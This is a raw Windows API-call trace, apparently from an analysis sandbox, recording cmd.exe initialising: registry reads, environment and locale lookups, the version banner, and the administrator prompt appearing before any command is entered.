[0102.514] GetConsoleMode (in: hConsoleHandle=0x298, lpMode=0x7ff75b81fc04 | out: lpMode=0x7ff75b81fc04) returned 0 [0102.514] _get_osfhandle (_FileHandle=0) returned 0x28c [0102.514] GetConsoleMode (in: hConsoleHandle=0x28c, lpMode=0x7ff75b81fc00 | out: lpMode=0x7ff75b81fc00) returned 0 [0102.514] _get_osfhandle (_FileHandle=1) returned 0x298 [0102.514] SetConsoleMode (hConsoleHandle=0x298, dwMode=0x0) returned 0 [0102.514] _get_osfhandle (_FileHandle=1) returned 0x298 [0102.514] GetConsoleMode (in: hConsoleHandle=0x298, lpMode=0x7ff75b81fc08 | out: lpMode=0x7ff75b81fc08) returned 0 [0102.514] _get_osfhandle (_FileHandle=0) returned 0x28c [0102.514] GetConsoleMode (in: hConsoleHandle=0x28c, lpMode=0x7ff75b81fc0c | out: lpMode=0x7ff75b81fc0c) returned 0 [0102.514] GetEnvironmentStringsW () returned 0x22e85e65a10* [0102.514] GetProcessHeap () returned 0x22e85e60000 [0102.514] RtlAllocateHeap (HeapHandle=0x22e85e60000, Flags=0x8, Size=0xa7c) returned 0x22e85e664a0 [0102.515] FreeEnvironmentStringsA (penv="A") returned 1 [0102.515] GetProcessHeap () returned 0x22e85e60000 [0102.515] RtlAllocateHeap (HeapHandle=0x22e85e60000, Flags=0x8, Size=0x8) returned 0x22e85e66f30 [0102.515] GetEnvironmentStringsW () returned 0x22e85e65a10* [0102.515] GetProcessHeap () returned 0x22e85e60000 [0102.515] RtlAllocateHeap (HeapHandle=0x22e85e60000, Flags=0x8, Size=0xa7c) returned 0x22e85e66f50 [0102.515] FreeEnvironmentStringsA (penv="A") returned 1 [0102.515] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xbfb21fea58 | out: phkResult=0xbfb21fea58*=0x7c) returned 0x0 [0102.515] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xbfb21fea50, lpData=0xbfb21fea70, lpcbData=0xbfb21fea54*=0x1000 | out: lpType=0xbfb21fea50*=0x0, lpData=0xbfb21fea70*=0x4, lpcbData=0xbfb21fea54*=0x1000) returned 0x2 [0102.515] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xbfb21fea50, lpData=0xbfb21fea70, lpcbData=0xbfb21fea54*=0x1000 | out: lpType=0xbfb21fea50*=0x4, lpData=0xbfb21fea70*=0x1, lpcbData=0xbfb21fea54*=0x4) returned 0x0 [0102.515] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xbfb21fea50, lpData=0xbfb21fea70, lpcbData=0xbfb21fea54*=0x1000 | out: lpType=0xbfb21fea50*=0x0, lpData=0xbfb21fea70*=0x1, lpcbData=0xbfb21fea54*=0x1000) returned 0x2 [0102.515] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xbfb21fea50, lpData=0xbfb21fea70, lpcbData=0xbfb21fea54*=0x1000 | out: lpType=0xbfb21fea50*=0x4, lpData=0xbfb21fea70*=0x0, lpcbData=0xbfb21fea54*=0x4) returned 0x0 [0102.515] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xbfb21fea50, lpData=0xbfb21fea70, lpcbData=0xbfb21fea54*=0x1000 | out: lpType=0xbfb21fea50*=0x4, lpData=0xbfb21fea70*=0x40, lpcbData=0xbfb21fea54*=0x4) returned 0x0 [0102.516] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xbfb21fea50, lpData=0xbfb21fea70, lpcbData=0xbfb21fea54*=0x1000 | out: lpType=0xbfb21fea50*=0x4, lpData=0xbfb21fea70*=0x40, lpcbData=0xbfb21fea54*=0x4) returned 0x0 [0102.516] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xbfb21fea50, lpData=0xbfb21fea70, lpcbData=0xbfb21fea54*=0x1000 | out: lpType=0xbfb21fea50*=0x0, lpData=0xbfb21fea70*=0x40, lpcbData=0xbfb21fea54*=0x1000) returned 0x2 [0102.516] RegCloseKey (hKey=0x7c) returned 0x0 [0102.516] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xbfb21fea58 | out: phkResult=0xbfb21fea58*=0x7c) returned 0x0 [0102.516] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xbfb21fea50, lpData=0xbfb21fea70, lpcbData=0xbfb21fea54*=0x1000 | out: lpType=0xbfb21fea50*=0x0, lpData=0xbfb21fea70*=0x40, lpcbData=0xbfb21fea54*=0x1000) returned 0x2 [0102.516] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xbfb21fea50, lpData=0xbfb21fea70, lpcbData=0xbfb21fea54*=0x1000 | out: lpType=0xbfb21fea50*=0x4, lpData=0xbfb21fea70*=0x1, lpcbData=0xbfb21fea54*=0x4) returned 0x0 [0102.516] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xbfb21fea50, lpData=0xbfb21fea70, lpcbData=0xbfb21fea54*=0x1000 | out: lpType=0xbfb21fea50*=0x0, lpData=0xbfb21fea70*=0x1, lpcbData=0xbfb21fea54*=0x1000) returned 0x2 [0102.516] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xbfb21fea50, lpData=0xbfb21fea70, lpcbData=0xbfb21fea54*=0x1000 | out: lpType=0xbfb21fea50*=0x4, lpData=0xbfb21fea70*=0x0, lpcbData=0xbfb21fea54*=0x4) returned 0x0 [0102.516] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xbfb21fea50, lpData=0xbfb21fea70, lpcbData=0xbfb21fea54*=0x1000 | out: lpType=0xbfb21fea50*=0x4, lpData=0xbfb21fea70*=0x9, lpcbData=0xbfb21fea54*=0x4) returned 0x0 [0102.516] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xbfb21fea50, lpData=0xbfb21fea70, lpcbData=0xbfb21fea54*=0x1000 | out: lpType=0xbfb21fea50*=0x4, lpData=0xbfb21fea70*=0x9, lpcbData=0xbfb21fea54*=0x4) returned 0x0 [0102.516] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xbfb21fea50, lpData=0xbfb21fea70, lpcbData=0xbfb21fea54*=0x1000 | out: lpType=0xbfb21fea50*=0x0, lpData=0xbfb21fea70*=0x9, lpcbData=0xbfb21fea54*=0x1000) returned 0x2 [0102.516] RegCloseKey (hKey=0x7c) returned 0x0 [0102.516] time (in: timer=0x0 | out: timer=0x0) returned 0x5ea199f4 [0102.516] srand (_Seed=0x5ea199f4) [0102.516] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0102.516] malloc (_Size=0x4000) returned 0x22e85fe54f0 [0102.517] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0102.517] malloc (_Size=0xffce) returned 0x22e85ff0080 [0102.518] ??_V@YAXPEAX@Z () returned 0x22e85ff0080 [0102.519] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x22e85ff0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0102.519] malloc (_Size=0xffce) returned 0x22e86000060 [0102.519] ??_V@YAXPEAX@Z () returned 0x22e86000060 [0102.520] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x22e86000060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0102.520] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff75b81bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0102.520] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff75b81bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0102.520] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff75b81bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.520] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0102.520] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0102.520] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0102.520] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0102.520] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0102.521] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0102.521] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0102.521] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0102.521] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0102.521] GetProcessHeap () returned 0x22e85e60000 [0102.521] RtlFreeHeap (HeapHandle=0x22e85e60000, Flags=0x0, BaseAddress=0x22e85e664a0) returned 1 [0102.521] GetEnvironmentStringsW () returned 0x22e85e65a10* [0102.521] GetProcessHeap () returned 0x22e85e60000 [0102.521] RtlAllocateHeap (HeapHandle=0x22e85e60000, Flags=0x8, Size=0xa94) returned 0x22e85e67a10 [0102.521] FreeEnvironmentStringsA (penv="A") returned 1 [0102.521] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff75b81bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0102.521] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff75b81bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.521] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0102.521] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0102.521] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0102.521] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0102.521] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0102.522] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0102.522] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0102.522] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0102.522] malloc (_Size=0xffce) returned 0x22e86010040 [0102.522] ??_V@YAXPEAX@Z () returned 0x22e86010040 [0102.523] GetProcessHeap () returned 0x22e85e60000 [0102.523] RtlAllocateHeap (HeapHandle=0x22e85e60000, Flags=0x8, Size=0x40) returned 0x22e85e684b0 [0102.523] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x22e86010040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0102.523] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x22e86010040, lpFilePart=0xbfb21ff5d0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xbfb21ff5d0*="Desktop") returned 0x17 [0102.524] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0102.524] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xbfb21ff300 | out: lpFindFileData=0xbfb21ff300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x22e85e68500 [0102.525] FindClose (in: hFindFile=0x22e85e68500 | out: hFindFile=0x22e85e68500) returned 1 [0102.525] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0xbfb21ff300 | out: lpFindFileData=0xbfb21ff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x22e85e68500 [0102.525] FindClose (in: hFindFile=0x22e85e68500 | out: hFindFile=0x22e85e68500) returned 1 [0102.525] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0xbfb21ff300 | out: lpFindFileData=0xbfb21ff300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x1803cefc, ftLastAccessTime.dwHighDateTime=0x1d61974, ftLastWriteTime.dwLowDateTime=0x1803cefc, ftLastWriteTime.dwHighDateTime=0x1d61974, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x22e85e68500 [0102.525] FindClose (in: hFindFile=0x22e85e68500 | out: hFindFile=0x22e85e68500) returned 1 [0102.526] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0102.526] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0102.526] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0102.526] GetProcessHeap () returned 0x22e85e60000 [0102.526] RtlFreeHeap (HeapHandle=0x22e85e60000, Flags=0x0, BaseAddress=0x22e85e67a10) returned 1 [0102.526] GetEnvironmentStringsW () returned 0x22e85e60fc0* [0102.526] GetProcessHeap () returned 0x22e85e60000 [0102.526] RtlAllocateHeap (HeapHandle=0x22e85e60000, Flags=0x8, Size=0xacc) returned 0x22e85e68500 [0102.526] FreeEnvironmentStringsA (penv="=") returned 1 [0102.526] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x22e85ff0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0102.526] GetProcessHeap () returned 0x22e85e60000 [0102.526] RtlFreeHeap (HeapHandle=0x22e85e60000, Flags=0x0, BaseAddress=0x22e85e684b0) returned 1 [0102.526] ??_V@YAXPEAX@Z () returned 0x1 [0102.527] ??_V@YAXPEAX@Z () returned 0x1 [0102.527] GetProcessHeap () returned 0x22e85e60000 [0102.527] RtlAllocateHeap (HeapHandle=0x22e85e60000, Flags=0x8, Size=0x4016) returned 0x22e85e68fe0 [0102.527] GetProcessHeap () returned 0x22e85e60000 [0102.527] RtlFreeHeap (HeapHandle=0x22e85e60000, Flags=0x0, BaseAddress=0x22e85e68fe0) returned 1 [0102.528] GetConsoleOutputCP () returned 0x1b5 [0102.981] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff75b81fbb0 | out: lpCPInfo=0x7ff75b81fbb0) returned 1 [0102.981] GetUserDefaultLCID () returned 0x409 [0102.982] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff75b81bb78, cchData=8 | out: lpLCData=":") returned 2 [0102.982] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xbfb21ff990, cchData=128 | out: lpLCData="0") returned 2 [0102.982] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xbfb21ff990, cchData=128 | out: lpLCData="0") returned 2 [0102.982] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xbfb21ff990, cchData=128 | out: lpLCData="1") returned 2 [0102.982] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff75b81bb68, cchData=8 | out: lpLCData="/") returned 2 [0102.982] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff75b81bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0102.982] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff75b81bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0102.982] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff75b81ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0102.982] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff75b81ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0102.982] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff75b81ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0102.982] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff75b81b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0102.982] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff75b81b980, cchData=32 | out: lpLCData="Sun") returned 4 [0102.982] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff75b81bb58, cchData=8 | out: lpLCData=".") returned 2 [0102.982] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff75b81bb40, cchData=8 | out: lpLCData=",") returned 2 [0102.983] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0102.985] GetProcessHeap () returned 0x22e85e60000 [0102.985] RtlAllocateHeap (HeapHandle=0x22e85e60000, Flags=0x0, Size=0x20c) returned 0x22e85e66560 [0102.985] GetConsoleTitleW (in: lpConsoleTitle=0x22e85e66560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0103.246] _get_osfhandle (_FileHandle=1) returned 0x298 [0103.247] GetFileType (hFile=0x298) returned 0x3 [0104.826] ApiSetQueryApiSetPresence () returned 0x0 [0104.826] ResolveDelayLoadedAPI () returned 0x7ffcddefd990 [0105.027] BrandingFormatString () returned 0x22e85e66a50 [0105.039] GetVersion () returned 0x3ad7000a [0105.039] _vsnwprintf (in: _Buffer=0xbfb21ffaf0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0xbfb21ffa88 | out: _Buffer="10.0.15063") returned 10 [0105.039] _get_osfhandle (_FileHandle=1) returned 0x298 [0105.039] GetFileType (hFile=0x298) returned 0x3 [0105.040] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff75b827f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0105.041] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff75b827f60, nSize=0x2000, Arguments=0xbfb21ffa90 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0105.041] _get_osfhandle (_FileHandle=1) returned 0x298 [0105.041] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0105.041] WriteFile (in: hFile=0x298, lpBuffer=0x7ff75b819970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0xbfb21ff9e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesWritten=0xbfb21ff9e8*=0x26, lpOverlapped=0x0) returned 1 [0105.041] _vsnwprintf (in: _Buffer=0x7ff75b827f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xbfb21ffab8 | out: _Buffer="\r\n") returned 2 [0105.041] _get_osfhandle (_FileHandle=1) returned 0x298 [0105.041] GetFileType (hFile=0x298) returned 0x3 [0105.041] _get_osfhandle (_FileHandle=1) returned 0x298 [0105.041] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0105.041] WriteFile (in: hFile=0x298, lpBuffer=0x7ff75b819970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xbfb21ffa88, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesWritten=0xbfb21ffa88*=0x2, lpOverlapped=0x0) returned 1 [0105.042] _vsnwprintf (in: _Buffer=0x7ff75b827f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0xbfb21ffab8 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0105.042] _get_osfhandle (_FileHandle=1) returned 0x298 [0105.042] GetFileType (hFile=0x298) returned 0x3 [0105.042] _get_osfhandle (_FileHandle=1) returned 0x298 [0105.042] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0105.042] WriteFile (in: hFile=0x298, lpBuffer=0x7ff75b819970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xbfb21ffa88, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesWritten=0xbfb21ffa88*=0x34, lpOverlapped=0x0) returned 1 [0105.042] _vsnwprintf (in: _Buffer=0x7ff75b827f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xbfb21ffab8 | out: _Buffer="\r\n") returned 2 [0105.042] _get_osfhandle (_FileHandle=1) returned 0x298 [0105.042] GetFileType (hFile=0x298) returned 0x3 [0105.042] _get_osfhandle (_FileHandle=1) returned 0x298 [0105.042] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0105.042] WriteFile (in: hFile=0x298, lpBuffer=0x7ff75b819970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xbfb21ffa88, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesWritten=0xbfb21ffa88*=0x2, lpOverlapped=0x0) returned 1 [0105.043] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffce9120000 [0105.043] GetProcAddress (hModule=0x7ffce9120000, lpProcName="CopyFileExW") returned 0x7ffce913e830 [0105.043] GetProcAddress (hModule=0x7ffce9120000, lpProcName="IsDebuggerPresent") returned 0x7ffce913e300 [0105.043] GetProcAddress (hModule=0x7ffce9120000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffce6900a40 [0105.044] ??_V@YAXPEAX@Z () returned 0x1 [0105.044] _get_osfhandle (_FileHandle=0) returned 0x28c [0105.045] GetFileType (hFile=0x28c) returned 0x3 [0105.045] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0105.045] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0xbfb21ff8f8 | out: TokenHandle=0xbfb21ff8f8*=0x0) returned 0xc000007c [0105.045] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xbfb21ff8f8 | out: TokenHandle=0xbfb21ff8f8*=0x98) returned 0x0 [0105.045] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x12, TokenInformation=0xbfb21ff8a8, TokenInformationLength=0x4, ReturnLength=0xbfb21ff8b0 | out: TokenInformation=0xbfb21ff8a8, ReturnLength=0xbfb21ff8b0) returned 0x0 [0105.045] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x1a, TokenInformation=0xbfb21ff8b0, TokenInformationLength=0x4, ReturnLength=0xbfb21ff8a8 | out: TokenInformation=0xbfb21ff8b0, ReturnLength=0xbfb21ff8a8) returned 0x0 [0105.045] NtClose (Handle=0x98) returned 0x0 [0105.045] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0xbfb21ff8c0, nSize=0x0, Arguments=0xbfb21ff8c8 | out: lpBuffer="᧰藦Ȯ") returned 0xf [0105.070] GetProcessHeap () returned 0x22e85e60000 [0105.070] RtlAllocateHeap (HeapHandle=0x22e85e60000, Flags=0x8, Size=0x218) returned 0x22e85e66c30 [0105.146] GetConsoleTitleW (in: lpConsoleTitle=0xbfb21ff910, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0105.557] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0105.557] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0105.882] GetProcessHeap () returned 0x22e85e60000 [0105.882] RtlFreeHeap (HeapHandle=0x22e85e60000, Flags=0x0, BaseAddress=0x22e85e66c30) returned 1 [0105.882] LocalFree (hMem=0x22e85e619f0) returned 0x0 [0109.482] _vsnwprintf (in: _Buffer=0x7ff75b827f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xbfb21ff738 | out: _Buffer="\r\n") returned 2 [0109.482] _get_osfhandle (_FileHandle=1) returned 0x298 [0109.482] GetFileType (hFile=0x298) returned 0x3 [0109.482] _get_osfhandle (_FileHandle=1) returned 0x298 [0109.482] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0109.482] WriteFile (in: hFile=0x298, lpBuffer=0x7ff75b819970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xbfb21ff708, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesWritten=0xbfb21ff708*=0x2, lpOverlapped=0x0) returned 1 [0109.482] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff75b81bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0109.483] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x22e85ff0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0109.483] malloc (_Size=0x107ce) returned 0x22e86000060 [0109.483] _vsnwprintf (in: _Buffer=0x22e86000060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xbfb21ff748 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0109.483] _vsnwprintf (in: _Buffer=0x22e8600008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0xbfb21ff748 | out: _Buffer=">") returned 1 [0109.483] _get_osfhandle (_FileHandle=1) returned 0x298 [0109.484] GetFileType (hFile=0x298) returned 0x3 [0109.484] _get_osfhandle (_FileHandle=1) returned 0x298 [0109.484] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0109.484] WriteFile (in: hFile=0x298, lpBuffer=0x7ff75b819970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xbfb21ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesWritten=0xbfb21ff738*=0x18, lpOverlapped=0x0) returned 1 [0109.484] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.484] GetFileType (hFile=0x28c) returned 0x3 [0109.484] _get_osfhandle (_FileHandle=0) returned 0x28c [0109.484] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0109.484] 